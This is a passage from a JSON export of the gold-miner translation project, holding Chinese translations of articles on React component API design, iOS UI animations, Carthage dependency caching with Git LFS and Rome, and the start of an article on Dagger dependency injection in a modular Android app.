[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/defining-component-apis-in-react.md",
    "content": "> * 原文地址：[Defining Component APIs in React](http://jxnblk.com/writing/posts/defining-component-apis-in-react/)\n> * 原文作者：[Jxnblk](http://jxnblk.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/defining-component-apis-in-react.md](https://github.com/xitu/gold-miner/blob/master/TODO1/defining-component-apis-in-react.md)\n> * 译者：[Gavin-Gong](https://github.com/Gavin-Gong)\n> * 校对者：[xunge0613](https://github.com/xunge0613) [sunui](https://github.com/sunui)\n\n# 设计 React 组件 API\n\n多年来，我致力于一系列处理组件 API 和构建应用程序、库的模式。以下是一系列如何设计组件 API 的想法、观点和建议，这会让组件更灵活、更具有组合性、更容易理解。这些规则都不是硬性的，但它们帮助我想明白了如何组织和创建组件。\n\n## 提供最少的 API\n\n正如 React 库本身的目标是 [最少化 API](https://www.youtube.com/watch?v=4anAwXYqLG8) 一样，我建议在设计组件 API 时采用类似的观点。需要学习的新内容越少，其他人就越容易知道如何使用你创建的组件，从而使它们更容易被重用。如果有人不理解你的组件 API，那么他们重复你的工作的可能性就会增加。这是我如何创建组件的核心理念，我发现在我工作中牢记它很有帮助。\n\n## 让你的代码更容易被找到\n\n从扁平目录结构开始，不要过早地组织代码库。人类喜欢整理东西，但我们在这方面做得很糟糕。命名已经足够困难了，为组件库创建目录结构，您可能会做更多的工作，最终使其他人更难找到你所写的代码。\n\n一个单独存放组件的目录在变得难以管理之前会变得相当大。如果所有的组件都在一个文件夹中，在大多数文件系统工具中会自动按照字母进行排序，这有助于为其他人提供更完整的代码库概览。\n\n## 避免 renderXXX 方法\n\n如果您在组件中定义了以 render 开头的自定义方法，那么它很可能应该被定义为自有组件。正如 [Chris Biscardi](https://mobile.twitter.com/chrisbiscardi/status/1004559213320814592) 所说，**“高效意味着有有足够的复杂度值得被分解”**。React 能明智地决定是否渲染的时机，因此，将这些组件拆分为自有组件，可以帮助 React 更好地运行。\n\n```jsx\n// 不要这样写\nclass Items extends React.Component {\n  renderItems ({ items }) {\n    return items.map(item => (\n      <li key={item.id}>\n        {renderItem(item)}\n      </li>\n    ))\n  }\n\n  renderItem (item) {\n    return (\n      <div>\n        {item.name}\n      </div>\n    )\n  }\n\n  render () {\n    return (\n      <ul>\n        {renderItems(this.props)\n      </ul>\n    )\n  }\n}\n```\n\n```jsx\n// 这样写\nconst ItemList = ({ items }) =>\n  <ul>\n    {items.map(item => (\n      <li key={item.id}>\n        <Item {...item} />\n      </li>\n    )}\n  </ul>\n\nconst Item = ({ name }) =>\n  <div>{item.name}</div>\n\nclass Items extends React.Component {\n  render () {\n    const { items } = this.props\n    return <ItemList items={items} />\n  }\n}\n```\n\n## 在数据界限上分割组件\n\n通常，组件应该由数据的形状来定义\n\n> 既然你经常向用户展示 JSON 数据模型，你会发现，如果你的模型构建正确，你的 UI（以及你的组件结构）会被很好地映射。\n\n* [React 理念](https://facebook.github.io/react/docs/thinking-in-react.html)\n\n我经常看到 React 新手尝试复制我所说的 \"[Bootstrap](https://getbootstrap.com)\" 组件，即具有视觉边界，但与任何数据结构都没有直接联系的 UI 组件。React 组件和 BEM 风格、基于 CSS 的组件有着不同的关注点。不应该创建一个需要定制 props 的通用 Card 组件来显示图像、标题和链接，而是为你需要展示的数据创建组件。也许通用的 Card 组件应该是一个接受来自数据库的 product 对象的 ProductCard 组件。\n\n```jsx\n// 不要这样写\n<Card\n  image={product.thumbnail}\n  title={product.name}\n  text={product.description}\n  link={product.permalink}\n/>\n\n// 这样写\n<ProductCard {...product} />\n```\n\n很可能，你需要的 ProductCard 的特定样式并不都是可重用的，而且你可能只在代码库中的一个地方定义了这个样式。在这种情况下，你可以遵循 [三次法则](<https://en.wikipedia.org/wiki/Rule_of_three_(computer_programming)>)。如果你已经在代码库中复制了三次 Card 组件结构，那么将其抽象出自有组件可能是值得的。\n\n## 避免繁多的 props\n\n正如 [Jenn Creighton](https://twitter.com/gurlcode) 所说，避免 [繁多的 props]((https://speakerdeck.com/jenncreighton/flexible-architecture-for-react-components?slide=10))。不要害怕创建一个新的组件，而不是向组件添加一些任意的 props 和附加的逻辑。例如，Button 组件可以接受不同颜色、大小和形状的 props，但并不总是需要这么多的 props。\n\n```jsx\n// 不要这要写\n<Button\n  variant='secondary'\n  size='large'\n  outline\n  label='Buy Now'\n  icon='shoppingBag'\n  onClick={handleClick}\n/>\n\n// 这要写\n<SecondaryButton\n  size='large'\n  onClick={handleClick}>\n  <Icon name='shoppingBag' />\n  Buy Now\n</SecondaryButton>\n```\n\n你的需求可能会有所不同，但是减少组件所需的自定义 props 的数量通常很有帮助，并且减少 render 函数中的逻辑数量可以使代码库更简单，更适合于代码分割。\n\n## 使用组合\n\n不要重新发明 `props.children`。如果你已经定义了 props 接收不基于数据结构的任意文本字符串，那么最好使用组合。\n\n```jsx\n// 不要这样写\n<Header\n  title='Hello'\n  subhead='This is a header'\n  text='And it has arbitrary props'\n/>\n\n// 这样写\n<Header>\n  <Heading>Hello</Heading>\n  <Subhead>This is a header</Subhead>\n  <Text>And it uses composition</Text>\n</Header>\n```\n\n如果你熟悉 React，那么你可能已经知道了组合版本组件的 API，它不会像之前那样需要那么多的文档。在你的应用中，你可以将组合版本的组件封装到另一个与数据结构绑定组件中，而且你可能只需要在代码库中定义一次组件结构。\n\n```jsx\n// 对于一个基于数据的组件而言，这样写很有用\nconst PageHeader = ({\n  title,\n  description\n}) =>\n  <Header>\n    <Heading>{title}</Heading>\n    <Text>{description}</Text>\n  </Header>\n\n// 理想情况下可以这样使用\n<PageHeader {...page} />\n```\n\n## 避免枚举布尔 props\n\n使用 [布尔 props](https://mobile.twitter.com/satya164/status/1015206655997472768) 是一种在组件变量之间进行切换的便捷方式，这很有吸引力，但它有时会产生一个令人困惑的 API。\n查看下面的例子：\n\n```jsx\n<Button primary />\n<Button secondary />\n```\n\n下面的情况会发生什么？\n\n```jsx\n<Button primary secondary />\n```\n\n如果不深入到代码库或文档中，就无法理解。相反，试试以下：\n\n```jsx\n<Button variant=\"primary\" />\n```\n\n这样需要打更多的字，但是可以说更加具有可读性。\n\n## 保持 props 并行\n\n只要有可能，复用其他组件的 props。例如，如果你正在写一个日期选择器，请使用与原生 `<input type='date' />` 相同的 props。这样将更容易猜测组件是如何运作的，也更容易记住这些 API。\n\n```jsx\n// 不要这样写\n<DatePicker\n  date={date}\n  onSelect={handleDateChange}\n/>\n\n// 这样写\n<DatePicker\n  value={date}\n  onChange={handleDateChange}\n/>\n```\n\n[Styled System](https://jxnblk.com/styled-system) 库鼓励跨多个组件使用并行风格的 props API。例如，color props 对 [Rebass](https://jxnblk.com/rebass) 中的所有组件都起作用，最终达到一次学习，到处使用的效果。\n\n```jsx\n// 来自 Rebass 的例子\n<Box color='tomato' />\n<Heading color='tomato' />\n```\n\n## 和你的队友沟通\n\n这些只是我自己对如何设计组件 API 的一些想法，它们可能无法满足您的需求。我能给出的最好建议是与你的队友沟通，创建 RFC 和 PR，并尝试 [Readme 驱动开发](https://ponyfoo.com/articles/readme-driven-development)。编写 React 组件很容易。为你的团队创建一个运行良好的组件库花费时间和精力是非常值得的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/delightful-animations-in-ios.md",
    "content": "> * 原文地址：[Delightful animations in iOS](https://medium.com/flawless-app-stories/delightful-animations-in-ios-7607e49945eb)\n> * 原文作者：[Roland Leth](https://medium.com/@rolandleth)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/delightful-animations-in-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO1/delightful-animations-in-ios.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# iOS 中赏心悦目的动画\n\n![](https://cdn-images-1.medium.com/max/2560/1*LCqWZwVc8XhXjrlESW0zeA.png)\n\n我们热爱动画。\n\n一方面，它们引导我们的视线，同时也是画龙点睛的一笔，增添了额外的关注点甚至一点 **感情**。比起静态的 UI，我们更偏爱生动形象并且能给我们反馈，可以交互的 UI。但是太多了就会造成不良的后果，所以让我们来探索一些可以给一款 app 增加恰到好处的润色的动画。\n\n### 在 `touchDown` 时改变一个按钮的大小或颜色\n\n我们通常在 `touchUpInside` 上设置点击事件，其原因是可以让用户有机会改变他的主意，但在现实生活中，按下按钮则执行事件，这应 `touchDown` 处理。我们可以在此时让 UI 响应用户的交互，并通过改变外观让他们知道一些事 **确实** 已经发生了。\n\n但是仍然不要太过分。\n我以 `0.97` 的 `scale` 开始，背景色的 `alpha` 为 `0.85`，`borderWidth` 增加 `1` 或 `2`，或者是它们其中两者的组合，超过两个的话就有点过了。从这开始，你还有很多选项，仅仅举几个例子：增加 scale 缩放比例，改变 `y` 值，添加一个轻微的阴影，当一个按钮被不停地点击时添加一个 “抖动” 动画，就好像按钮在跟你说 **我已经知道你点了我了，你还想干嘛？**，还有增加字体的粗细，抑或是改变背景颜色。\n\n这类动画不必很显眼，它们唯一的目的就是画龙点睛，以及给用户一些信息，告诉他们一些事情 **确实** 已经发生了。\n\n![](https://cdn-images-1.medium.com/max/800/1*IK5eAI5eafqPS677Zs-GCw.gif)\n\n### 添加到购物车或类似动作\n\n就像苹果在 Safari 中添加书签的动画一样，我们也可以把添加到购物车时做成这样的动画，这样的话就可以把用户的视线引导到购物车按钮上。如果按钮上有小数字的话，就添加个缩放动画，例如像弹簧一样的动画。或者直接模仿苹果的原生效果，把整个图标添加动画就好像你买的东西进入了购物车一样。\n\n还有，我们可以让 UI 对用户的操作进行了相应，这样也可以提示用户下一步该做什么。它能引导并告诉用户发生了什么以及 **哪里** 发生了改变。你也许会觉得在把东西添加到购物车很多次之后，用户自然就会知道购物车在哪里了，也许你是对的，但是强调它并没有坏处。\n\n### 事件响应\n\n通过合适的层级结构，一个按钮事件的响应应当已经很突出了。但是有时候却不可行或者根本不够。所有有一种方法是给他添加一个轻微的动画，也许是一个有节奏的跳动（scale 在 `1.03` 和 `0.97` 间范围内的带有延时的慢动作变化），或者一个抖动（快速地连续旋转几度，中间延迟较长），又或者是背景，文字颜色或大小，描边的宽度和颜色等等的变化。但是要注意一次性不要变化太多了。\n\n![](https://cdn-images-1.medium.com/max/800/1*NAwiqTIbcce-WuTmvhlL3w.gif)\n\n### 创建、删除和提交\n\n当发生了错误的时候可以采用相同的策略。\n\n当提交一个表单时，如果其中一个 `UITextFields` 为空，就给它添加一个轻微的抖动，也可以给边框或者文字添加红色的闪烁的效果，这样才能吸引用户并告诉他们问题出在哪了。\n\n如果用户想添加了一个已经存在的东西，就让那一项的背景色突出显示出来或者抖动一下，这主要取决与它的大小，如果很大的话，非常轻微的动画会更好，因为它的尺寸比较大的缘故，很微小的动画反而会更加显眼。\n\n当用户成功创建新的一项时，比起简单的刷新 UI，把新的那一项滑入或者淡入，或者也可以使用 `tableView.insertRows(at:with:)` 自带的动画会更好。反之亦然，删除一项也可以这么做。\n\n![](https://cdn-images-1.medium.com/max/800/1*2Ikp1rb46s7ctWm4Rx68Cg.gif)\n\n### 选择\n\n想象一下单选按钮或者复选框，在这特殊的情况下，动画的唯一作用就是润色，因为并没有太多真正的用户体验价值。这样确实添加了一个视觉上的确认效果，直到手指抬起。一个复选框可以绘制复选的标记，就好像你是在纸上把它画出来一样。至于单选按钮，则可以给它的中心填充，例如下面的效果：\n\n![](https://cdn-images-1.medium.com/max/800/0*m9ePRKHt7KycWrqJ.gif)\n\n### 小窍门\n\n你可以看看我的关于上面的单选按钮动画的 [帖子](https://rolandleth.com/lthradiobutton)，我把动画拆分成了很多非常细小的步骤，核心部分则是：\n\n1. 正确理解动画的组成部分。\n2. 采取易于实施的可操作步骤。\n3. 如果需要的话，使每一步骤足够的小以便于更换或移除。\n\n再次强调：不愠不火，从细节开始做。比起没有动画，夸张的动画反而更加有害。从短小精悍的动画开始吧，只变化几个属性！比起十分刺眼的动画，能让用户能注意到的微妙细节上的动画会更好。\n\n有一些例子的要点可以在 [这里](https://gist.github.com/rolandleth/421dcde6757b942ac7102fea435fd3c3) 找到，单选按钮的动画可以在控件的找到 [这里](https://github.com/rolandleth/LTHRadioButton) 有单选按钮的动画，它们可以在自身的控件中找到。\n\n祝你和动画相处愉快！\n\n* * *\n\n你可以在我的博客里找到更多文章，或者订阅 [**每月的推送**](https://rolandleth.us19.list-manage.com/subscribe?u=0d9e49508950cd57917dd7e87&id=7e4ef109bd)。**原文链接**：[https://rolandleth.com](https://rolandleth.com)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dependencies-ios-carthage.md",
    "content": "> * 原文地址：[Building Dependencies on iOS with Carthage](https://appunite.com/blog/dependencies-ios-carthage)\n> * 原文作者：[Szymon Mrozek](https://appunite.com/blog/author/szymon-mrozek)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dependencies-ios-carthage.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dependencies-ios-carthage.md)\n> * 译者：[iWeslie](https:github.com/iWeslie)\n> * 校对者：[kirinzer](https://github.com/kirinzer)\n\n# 在 iOS 上使用 Carthage 建立依赖\n\n## 可爱的 Carthage\n\n在本文中，我想通过使用 Carthage 分享构建依赖关系的经验。Carthage 简洁明了，只需在 `Cartfile` 中添加适当的内容并运行 `carthage update` 就可以在 Xcode 项目中使用一些外部依赖项。但众所周知的是，现实是残酷的，有时我们需要考虑更加复杂的例子。\n\n我们假设有一个 iOS 开发团队。Tony、John 和 Keith 都正在使用 **大约15个** 流行的第三方依赖库，如 Alamofire、Kingfisher、ReactiveCocoa 等。\n\n### 他们可能会遇到的问题\n\n*   **不同的编译器** - 一些库是用 Swift 编写的，这意味着每个不同的编译器运行时都与其他编译器不相兼容。如果这些开发人员使用不同版本的 Xcode，这可能产生一个巨大的问题，他们每个人都需要构建自己的框架版本或使用相同版本的 Xcode。\n*   **清理编译时间** - 这是最近的热门话题，有时我们需要关心编译时间，特别是在 CI 和分支之间切换时。一个团队就意味着他们不想用 1 小时或者更久来浪费在等待发布上，因此这个问题可能很关键。\n*   **仓库大小** - 一些开发者更喜欢在仓库下包含已编译好的框架。假设这个团队正在使用免费的 GitHub 计划，因此他们的仓库最大为 1 GB。在仓库中存储别的框架可能导致其大小大幅增加，甚至可能有 5 GB。即使仓库存储限制不是问题，克隆这样的仓库也需要花费 **相当多的时间**。这可能会对清理编译时间产生巨大影响，尤其是在将 CI 与虚拟机一起使用时。\n*   **更新框架** - 当你运行 `carthage update`，如果没有别的额外工作，carthage 将重新编译 **所有** 框架。在项目开始时，我们会经常这样做。团队正在寻找一种更快速的解决方案。\n\n**天下没有免费的午餐** 我同意，但是同时我相信有时候你花一些时间来改善你的日常用到的工具是很值得的。我花了 **很多时间** 试验依赖库管理器，甚至是缓存他们产生的依赖库等等。下面让我告诉你三个维护 carthage 框架的流行解决方案把。\n\n**在你开始之前**\n\n* 如果您不熟 Carthage，请首先看看它的 [目录](https://github.com/Carthage/Carthage)。\n* 我不会考虑直接在项目仓库中直接存储 Carthage 框架。\n\n## 简单的方法\n\n故事开始了，Tony 是团队领导，他决定使用 Carthage 来管理依赖库，他在使用外部框架时为其他开发者定义了一些规则：\n\n* 把 `Carthage/Build` 和 `Carthage / Checkouts` 添加到 `.gitignore`\n* 第一次克隆仓库时，你需要运行 `carthage bootstrap` 来重建所有依赖项。在 CI 中则需要为每个管道运行。\n* 更新框架时，只更新一个，例如 `carthage update ReactiveSwift`。\n\n这些都是非常简单的规则，但是它们的优缺点如何呢？\n\n### 优点：\n\n* 完全免费\n* 仓库大小不会迅速增加\n\n### 缺点：\n\n* 清理编译时间很长\n* 绝对不会重复使用预编译的框架\n* 你的仓库中的将多出其他代码\n\n让我们将此解决方案与可能出现的问题进行比较：\n\n| 问题 | 已经解决？ | 还缺少什么？ |\n| :--: | :--: | :--: |\n| 不同的编译器 | 否   | 所有开发者的编译器版本必须相同 |\n| 清理编译时间 | 是  | CI 将只会编译程序部分的代码并且为每个管道重用预编译好的所有依赖库 |\n| 仓库大小 | 是   | - |\n| 更新框架 | 否   | 没有改善，开发者需要在升级时重新编译框架和依赖库 |\n\n总结一下，这种方法的最大的问题是 **时间**。唯一完全解决的问题是仓库的大小。CI 编译时间非常长，并且会随着依赖项的数量相应地增长。正如你所看到的，还有很多需要改进的地方。让我们尝试不同的解决方案吧！\n\n## Git 里的 LFS\n\n有一天一个开发者 John 发现了 GitHub 允许在它们的 LFS（大文件存储系统）下存储很大的文件。他意识到这可能是一个很好的机会，来把预编译的框架放到 git 仓库里下，同时保证了仓库还是比较小的。他把 Tony 的规则做了一点店修改：\n\n* **同时** 把 `Carthage/Build` **和** `Carthage/Checkouts` 添加到 `.gitignore`，\n* 当第一次克隆仓库的时候，你 **不必** 运行 `carthage bootstrap` 来重新编译所有依赖，但是你需要从 LFS 里抽取框架，\n* 当更新框架时，请使用例如 `carthage update ReactiveSwift` 来更新, **还有一些工作需要做**，你需要把那些框架归档，添加至 `.gitattributes`，压缩并上传到 LFS，\n* **所有的项目组成员** 必须保持 Xcode 和 Swit 的版本一致。\n\n这个解决方案更加复杂，因为需要额外的压缩和上传框架的操作。这里有一篇 [很好的文章](https://medium.com/@rajatvig/speeding-up-carthage-for-ios-applications-50e8d0a197e1)，它提供了详细的操作讲解并提供了一些原始的 `Makefile`，可以让这些操作自动进行。\n\n### 优点；\n\n* 仓库的大小仍然没有增加\n* 只需要克隆仓库后再提取框架\n\n### 缺点：\n\n* 大部分情况下不免费（1 GB 的 LFS 每月需要 5 美元）\n* 所有的开发者 Xcode 版本必须相同\n* 没有使框架更新加快的机制\n\n让我们比较一下这个方案所能解决的问题和文章开头提出的问题：\n\n|     问题     | 已经解决？ |                      还缺少什么？                      |\n| :----------: | :--------: | :----------------------------------------------------: |\n| 不同的编译器 |  部分解决  |   如果两个开发者使用相同的 Xcode，他们都需要重新编译   |\n| 清理编译时间 |     否     | 编译将持续很长时间，每次都会把 CI 上的所有依赖重新编译 |\n|   仓库大小   |     是     |                           -                            |\n|   更新框架   |     否     |    没有改善，开发者需要在升级时重新编译框架和依赖库    |\n\n毕竟我认为这看起来好多了！对于大多数团队而言，快速清理构建相比于在开发者之间可能使用不同 Xcode 来说更为重要。他们仍然可以安装不同的版本，只在特定项目之间切换。我相信每月 5 美元的 LFS 并不算贵。所以这是一个更好，同时也更难的解决方案，但仍有一些改进空间...\n\n## Rome\n\n现在 Keith 又出现了，他很欣赏其他开发者的研究，但 Keith 非常在意团队合作。他认为也许可以在不同项目之间共享由不同版本的 Swift 编译器预编译的不同版本的框架，这种情况很多，但幸运的是有这样一个工具！它被称为 `Rome`。我强烈建议您查看 [相关文档](https://github.com/blender/Rome)。通常此工具使用 Amazon S3 Bucket 来共享框架，Keith 再一次地改变了规则：\n\n* 把 `Carthage/Build` **和** `Carthage/Checkouts` **都** 添加到 `.gitignore`，\n* 当第一次克隆仓库的时候，当第一次克隆仓库的时候，你 **不必** 运行 `carthage bootstrap` 来重新编译所有依赖，但是你需要从 Amazon S3 上下载它们，\n* 当更新框架时，请使用例如 `carthage update ReactiveSwift --no-build` 仅仅更新一个框架 **版本**，尝试从 Amazon 下载它，并且如果它不存在的话就把它编译并上传，\n* 你需要定义 `RepositoryMap` 来告诉 Rome 你使用了哪一个由 Carthage 编译的依赖。\n\n通过使用一些 **非常简单的** 的辅助脚本，这些规则几乎与一开始 `天真的方法` 中的规则一样简单。我对此工具的印象非常深刻，尤其是仅限的一些步骤带来了显著的成效，下面来让我们看看这个解决方案的优缺点：\n\n### 优点：\n\n* 仓库的大小仍然没有增加\n* 只需要克隆仓库和下载资源\n* 在所有公司的开发者间共享框架，由于其他人可能已经为你编译好了适当版本的框架，你更新框架起来就非常容易\n* 可以使用不同版本的 Xcode\n* 由于 `RepositoryMap` 的使用你更加了解依赖的相关知识\n* 在 CI 上可计划编译依赖并在本地使用\n\n### 缺点：\n\n* 不免费，但是仍然比 **LFS** (`$0.023 / GB`) 便宜\n\n和上一个解决方案相比：\n\n|     问题     | 已经解决？ | 还缺少什么？ |\n| :----------: | :--------: | :----------: |\n| 不同的编译器 |     是     |      -       |\n| 清理编译时间 |     是     |      -       |\n|   仓库大小   |     是     |      -       |\n|   更新框架   |     是     |      -       |\n\n在我看来这个解决方案将为你在依赖管理上节省大量时间，当然有时你将需要在你自己的电脑或是 CI 上编译，但是你需要保证此工作会被重用。\n\n## 回顾\n\n所以你应该已经意到我相信 Rome 才是目前最好的解决方案，我强烈建议你使用它，但以上的故事表明总有一些东西是可以进行改进的。你应该尝试不同的方法并选择最佳解决方案。我相信在阅读 Tony，John 和 Keith 的故事时，你注意到的不仅仅是 Rome 是 Carthage 的最佳搭档，还应该联系到团队工作和工作流程的改进。CI 做为虚拟的第四位团队成员，其他几个人一直试图解协作开发的问题，最后他们中的一个找到了一个理想的解决方案来满足他们的需求。\n\n### 几个有用的链接：\n\n*   [Github 上的 Carthage](https://github.com/Carthage/Carthage)\n*   [Git LFS](https://git-lfs.github.com)\n*   [Medium 上关于 Carthage 和 LFS 的文章](https://medium.com/@rajatvig/speeding-up-carthage-for-ios-applications-50e8d0a197e1)\n*   [BFG - 向 LFS 合并的工具](https://github.com/rtyley/bfg-repo-cleaner/releases/tag/v1.12.5)\n*   [Github 上的 Rome](https://github.com/blender/Rome)\n*   [AWS 简介](https://aws.amazon.com/blogs/security/a-new-and-standardized-way-to-manage-credentials-in-the-aws-sdks)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dependency-injection-in-a-multi-module-project.md",
    "content": "> * 原文地址：[Dependency injection in a multi module project](https://medium.com/androiddevelopers/dependency-injection-in-a-multi-module-project-1a09511c14b7)\n> * 原文作者：[Ben Weiss](https://medium.com/@keyboardsurfer)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dependency-injection-in-a-multi-module-project.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dependency-injection-in-a-multi-module-project.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[JasonZ](https://github.com/JasonLinkinBright)，[wenny](https://github.com/xiaxiayang)\n\n# 依赖注入在多模块工程中的应用\n\n### Plaid 应用中引入一个 DI 框架过程中我们学到的东西\n\n![插图来自 [Virginia Poltrack](https://twitter.com/vpoltrack)](https://cdn-images-1.medium.com/max/3200/0*yWf1DFEnYBWNmAvT)\n\n总的来说，这不是一篇关于依赖注入的文章，也不是关于我们为什么选择库 X 而不是库 Y 的文章。\n相反的，本文从依赖注入的角度介绍了我们对 [Plaid](https://github.com/nickbutcher/plaid) 进行模块化实践的主要成果。\n\n## 我们的设置\n\n在前面的文章中，我写过 Plaid 应用模块化的整体过程。\n[**一款拼接应用 Plaid — 整体到模块化: 模块化 Plaid 应用的初衷、过程和结果**](https://medium.com/androiddevelopers/a-patchwork-plaid-monolith-to-modularized-app-60235d9f212e)\n\n让我以鸟瞰图的形式快速回顾一下 Plaid 的样子。\n\n我们有一个包含主启动 activity 的 `app` 模块，同时也有一些依赖 `app` 模块的动态功能模块（DFM）。每一个 DFM 都包含至少一个与所讨论功能相关的 activity、代码和资源。\n\n`app` 模块依赖一个包含了共享的代码和资源以及第三方库的 `core` 模块。\n\n![Plaid 的模块依赖图](https://cdn-images-1.medium.com/max/2000/0*VJS0y6-8fKBUHGhU)\n\n在我们开始模块化操作和以 Dagger 为主介绍依赖注入之前，先来熟悉下 Plaid 的相关类和函数：\n\n```\nclass DesignerNewsInjector {\n\n    fun providesApi(...): DesignerNewsService { ... }\n\n}\n```\n\n虽然这是一个非常好的解决方案，但我们还是手工编写了大量的样板代码。\n\n在任何需要注入的地方，我们都需要在合适的时机调用底层函数，大多数情况下不是在对象初始化时就是在 onCreate 方法中。\n\n## 依赖注入的简要介绍\n\n依赖注入基本上意味着你不用在你需要的地方创建它们，而是在别的地方创建。然后这些对象的引用可以被传递到需要使用它们的类中。\n\n这点可以通过自己编写或者集成某个依赖注入库来实现，我们选择了集成 Dagger 2。多亏了 Dagger，为了获取一个可以使用的已初始化的 service，我们所有要做的就是如下内容：\n\n```\n@Inject lateinit var service: DesignerNewsService\n```\n\n所有对 service 的依赖可以变成 provides 函数的传参。我们为依赖注入需求选择了 Dagger 意味着我们的依赖图在编译阶段会被创建。下面的章节中要记住这一点。\n\n## 我们在 Plaid 应用中集成 Dagger 的方式\n\n当我们决定引入 Dagger 到 Plaid 应用时，我们已经学到了宝贵的一课，尤其是对模块化。\n\n> 不要试图一次就覆盖太多内容。\n\n这意味着花一些时间研究清楚实现一个新功能的最小必要范围是有意义的。我们接下来要讨论的 MVP，即在团队内部审视我们是否在向着正确的方向前进。坚持这种做法可以防止我们进行太大而无法高效利用的变更。这也允许我们在整个代码库中逐步推出更改，与此同时每个人的任务也可持续进行。\n\n在 Plaid 应用内我们使用已验证后的 `about` 功能模块作为 Dagger 的练习模块。这里我们可以添加 Dagger 而不会干扰到其他模块或负载。你可以在这里查看[初始提交](https://github.com/nickbutcher/plaid/commit/9310b6d4f100adff4e639456f58ac802b57d4b39)。\n\n## 依赖图解\n\n当为一个单块应用引入依赖注入库时，通常整个应用有个单一的依赖图。\n\n![单块项目中的经典简化依赖图](https://cdn-images-1.medium.com/max/2000/1*wfFPurM3MIKdGjL66Ko7Yw.png)\n\n这可以使组件间共享依赖。在一些库中，依赖可以被设置作用域来避免冲突，或者为被注入对象提供一种特殊的实现。\n\n## 模块化的怪异之处\n\n对一个模块化的应用，尤其是使用动态功能模块的应用这却不起作用。让我们仔细地研究下应用和动态功能模块如何彼此依赖。一个动态功能模块知道 application 模块的存在。application 模块大致知道动态功能模块的存在，但是不能直接执行该模块的代码。对于依赖注入，这意味着整体图必须被分解成片。\n\n对一个模块化应用，简单的依赖图通常大致长成下面这样。\n\n![模块具有清晰的边界并且被封装在一个 DFM 